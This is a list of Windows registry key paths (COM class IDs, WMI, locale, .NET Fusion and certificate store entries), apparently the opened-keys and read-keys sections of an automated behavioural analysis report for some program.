HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_CLASSES_ROOT\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\InprocServer32\Synchronization
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{661FF7F6-F4D1-4593-B59D-4C54C1ECE68B}\AppId
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\InProcServer32
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\InprocServer32\Synchronization
HKEY_CLASSES_ROOT\CLSID\{d63a5850-8f16-11cf-9f47-00aa00bf345c}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D63A5850-8F16-11CF-9F47-00AA00BF345C}\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\SecuredHostProviders\ROOT\CIMV2:__Win32Provider.Name="CIMWin32"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\minint
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2\SCM Event Provider
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\Root
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\Root
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{B7B31DF9-D515-11D3-A11C-00105A1F515A}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{07435309-D440-41B7-83F3-EB82DB6C622F}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{21CD80A2-B305-4F37-9D4C-4534A8D9B568}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{06413D98-405C-4A5A-8D6F-19B8B7C6ACF7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F50A28CF-5C9C-4F7E-9D80-E25E16E18C59}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6B3FC272-BF37-4968-933A-6DF9222A2607}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{0FC8C622-1728-4149-A57F-AD19D0970710}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{FEC1B0AC-5808-4033-A915-C0185934581E}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{EB658B8A-7A64-4DDC-9B8D-A92610DB0206}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{7C857801-7381-11CF-884D-00AA004B2E24}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TreatAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\Progid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\InprocHandler
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\SecurityCenter2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\SecurityCenter2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\SecurityCenter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\SecurityCenter
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Sink Transmit Buffer Size
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Cimom
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\DefaultRpcStackSize
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\wmiprvse.exe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocHandler32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\InprocHandler
HKEY_CURRENT_USER\Control Panel\International\LocaleName
HKEY_CURRENT_USER\Control Panel\International\sCountry
HKEY_CURRENT_USER\Control Panel\International\sList
HKEY_CURRENT_USER\Control Panel\International\sDecimal
HKEY_CURRENT_USER\Control Panel\International\sThousand
HKEY_CURRENT_USER\Control Panel\International\sGrouping
HKEY_CURRENT_USER\Control Panel\International\sNativeDigits
HKEY_CURRENT_USER\Control Panel\International\sCurrency
HKEY_CURRENT_USER\Control Panel\International\sMonDecimalSep
HKEY_CURRENT_USER\Control Panel\International\sMonThousandSep
HKEY_CURRENT_USER\Control Panel\International\sMonGrouping
HKEY_CURRENT_USER\Control Panel\International\sPositiveSign
HKEY_CURRENT_USER\Control Panel\International\sNegativeSign
HKEY_CURRENT_USER\Control Panel\International\sTimeFormat
HKEY_CURRENT_USER\Control Panel\International\sShortTime
HKEY_CURRENT_USER\Control Panel\International\s1159
HKEY_CURRENT_USER\Control Panel\International\s2359
HKEY_CURRENT_USER\Control Panel\International\sShortDate
HKEY_CURRENT_USER\Control Panel\International\sLongDate
HKEY_CURRENT_USER\Control Panel\International\iCountry
HKEY_CURRENT_USER\Control Panel\International\iMeasure
HKEY_CURRENT_USER\Control Panel\International\iPaperSize
HKEY_CURRENT_USER\Control Panel\International\iDigits
HKEY_CURRENT_USER\Control Panel\International\iLZero
HKEY_CURRENT_USER\Control Panel\International\iNegNumber
HKEY_CURRENT_USER\Control Panel\International\NumShape
HKEY_CURRENT_USER\Control Panel\International\iCurrDigits
HKEY_CURRENT_USER\Control Panel\International\iCurrency
HKEY_CURRENT_USER\Control Panel\International\iNegCurr
HKEY_CURRENT_USER\Control Panel\International\iCalendarType
HKEY_CURRENT_USER\Control Panel\International\iFirstDayOfWeek
HKEY_CURRENT_USER\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\Logging
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib\009
HKEY_PERFORMANCE_TEXT\Counter
HKEY_PERFORMANCE_DATA\238
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles

Read Keys

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index126\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\83\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\183e33de\83\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DebugHeapFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Certificate\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\FinalPolicy\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Initialization\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Message\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\Signature\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Providers\Trust\CertCheck\{31D1ADC1-D329-11D1-8ED8-0080C76516C6}\$Function
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\State
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Security\Safety Warning Level
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagMatchAnyMask
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\4B\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableMandatoryBasicConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableCANameConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableUnsupportedCriticalExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlCountInCert
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCountPerChain
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCertCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\CryptnetPreFetchTriggerPeriodSeconds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableWeakSignatureFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\ChainCacheResyncFiletime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931\Blob
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\874A0727
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableInetUnknownAuth
